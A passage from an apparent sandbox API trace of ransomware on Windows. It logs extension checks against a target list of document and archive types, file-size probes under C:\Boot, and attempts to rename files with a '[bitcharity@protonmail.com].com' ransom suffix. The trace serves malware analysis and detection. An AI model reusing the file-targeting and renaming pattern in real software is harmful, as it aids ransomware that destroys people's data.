(lpString1=".dbf", lpString2=".mui") returned -1 [0242.859] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.859] lstrlenW (lpString=".1cd") returned 4 [0242.859] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.859] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.859] lstrlenW (lpString=".jpg") returned 4 [0242.859] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.859] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0242.859] lstrlenW (lpString="memtest.exe.mui") returned 15 [0242.860] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.860] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=45472) returned 1 [0242.860] CloseHandle (hObject=0x1100) returned 1 [0242.860] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0242.860] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.860] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.860] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.860] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.860] lstrlenW (lpString=".doc") returned 4 [0242.860] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.860] lstrlenW (lpString=".docx") returned 5 [0242.860] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.860] lstrlenW (lpString=".pdf") returned 4 [0242.860] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.860] lstrlenW (lpString=".xls") returned 4 [0242.861] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.861] lstrlenW (lpString=".xlsx") returned 5 [0242.861] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.861] lstrlenW (lpString=".ppt") returned 4 [0242.861] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.861] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.861] lstrlenW (lpString=".zip") returned 4 [0242.861] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.861] lstrlenW (lpString=".rar") returned 4 [0242.861] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.861] lstrlenW (lpString=".bz2") returned 4 [0242.861] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.861] lstrlenW (lpString=".7z") returned 3 [0242.861] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.861] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.861] lstrlenW (lpString=".dbf") returned 4 [0242.861] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0242.861] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.861] lstrlenW (lpString=".1cd") returned 4 [0242.861] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.861] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.861] lstrlenW (lpString=".jpg") returned 4 [0242.861] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.861] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.861] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.861] lstrlenW (lpString=".doc") returned 4 [0242.861] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.861] lstrlenW (lpString=".docx") returned 5 [0242.861] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.861] lstrlenW (lpString=".pdf") returned 4 [0242.861] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.861] lstrlenW (lpString=".xls") returned 4 [0242.861] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.862] lstrlenW (lpString=".xlsx") returned 5 [0242.862] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.862] lstrlenW (lpString=".ppt") returned 4 [0242.862] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.862] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.862] lstrlenW (lpString=".zip") returned 4 [0242.862] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.862] lstrlenW (lpString=".rar") returned 4 [0242.862] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.862] lstrlenW (lpString=".bz2") returned 4 [0242.862] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.862] lstrlenW (lpString=".7z") returned 3 [0242.862] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.862] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.862] lstrlenW (lpString=".dbf") returned 4 [0242.862] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0242.862] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.862] lstrlenW (lpString=".1cd") returned 4 [0242.862] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.862] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0242.862] lstrlenW (lpString=".jpg") returned 4 [0242.862] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.862] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0242.862] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0242.862] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.863] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=79200) returned 1 [0242.864] CloseHandle (hObject=0x1100) returned 1 [0242.864] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0242.864] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.864] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.864] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0242.864] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0242.864] lstrlenW (lpString=".doc") returned 4 [0242.864] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.864] lstrlenW (lpString=".docx") returned 5 [0242.864] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.864] lstrlenW (lpString=".pdf") returned 4 [0242.864] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.864] lstrlenW (lpString=".xls") returned 4 [0242.864] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.864] lstrlenW (lpString=".xlsx") returned 5 [0242.864] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.864] lstrlenW (lpString=".ppt") returned 4 [0242.864] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.864] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0242.864] lstrlenW (lpString=".zip") returned 4 [0242.864] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.864] lstrlenW (lpString=".rar") returned 4 [0242.864] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.865] lstrlenW (lpString=".bz2") returned 4 [0242.865] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.865] lstrlenW (lpString=".7z") returned 3 [0242.865] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.865] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0242.865] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.865] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=45984) returned 1 [0242.865] CloseHandle (hObject=0x1100) returned 1 [0242.865] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0242.865] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.865] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.865] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.866] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=80224) returned 1 [0242.866] CloseHandle (hObject=0x1100) returned 1 [0242.866] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0242.866] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.866] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.866] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.866] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=46496) returned 1 [0242.866] CloseHandle (hObject=0x1100) returned 1 [0242.866] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0242.866] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.866] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.867] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.867] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=74072) returned 1 [0242.867] CloseHandle (hObject=0x1100) returned 1 [0242.867] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0242.867] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.867] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.867] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.867] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=74144) returned 1 [0242.867] CloseHandle (hObject=0x1100) returned 1 [0242.867] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0242.867] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.867] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.868] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.868] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=44960) returned 1 [0242.868] CloseHandle (hObject=0x1100) returned 1 [0242.868] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0242.868] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.868] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.868] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.868] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=77664) returned 1 [0242.868] CloseHandle (hObject=0x1100) returned 1 [0242.869] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0242.869] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.869] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.869] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.869] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=45984) returned 1 [0242.869] CloseHandle (hObject=0x1100) returned 1 [0242.869] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0242.869] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.869] CreateFileW (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.869] CreateFileW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.870] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=77664) returned 1 [0242.870] CloseHandle (hObject=0x1100) returned 1 [0242.870] GetFileAttributesW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0242.870] GetFileAttributesW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.870] CreateFileW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.870] CreateFileW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.870] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=75104) returned 1 [0242.870] CloseHandle (hObject=0x1100) returned 1 [0242.870] GetFileAttributesW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0242.870] GetFileAttributesW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.871] CreateFileW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.871] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.871] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=76640) returned 1 [0242.871] CloseHandle (hObject=0x1100) returned 1 [0242.871] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0242.871] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.871] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.872] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.872] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=45472) returned 1 [0242.872] CloseHandle (hObject=0x1100) returned 1 [0242.872] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0242.872] GetFileAttributesW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.872] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.872] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.874] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3695719) returned 1 [0242.874] CloseHandle (hObject=0x1100) returned 1 [0242.875] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0242.875] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.875] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0242.875] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.876] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3878410) returned 1 [0242.876] CloseHandle (hObject=0x1100) returned 1 [0242.876] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0242.876] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.876] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0242.877] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.878] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1985867) returned 1 [0242.878] CloseHandle (hObject=0x1100) returned 1 [0242.878] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0242.879] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.879] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0242.879] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.919] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=2373000) returned 1 [0242.920] CloseHandle (hObject=0x1100) returned 1 